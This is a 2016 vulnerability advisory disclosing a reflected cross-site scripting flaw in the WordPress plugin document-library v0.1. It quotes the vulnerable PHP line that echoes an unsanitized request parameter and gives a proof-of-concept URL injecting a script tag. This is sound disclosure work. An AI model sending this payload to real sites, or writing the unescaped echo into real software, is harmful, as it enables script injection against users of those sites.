Advisory #: 245
Title: Reflected XSS in wordpress plugin document-library v0.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/document-library
Downloads: 2559
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: document-library
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./document-library/classes/DocumentLibraryWidget.php: 33: <input type="text" name="dlsearch" value="<?php echo $_GET['dlsearch'] ?>" /> The variable dlsearch appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./document-library/classes/DocumentLibraryWidget.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/document-library/classes/DocumentLibraryWidget.php?dlsearch="><script>alert(1);</script><"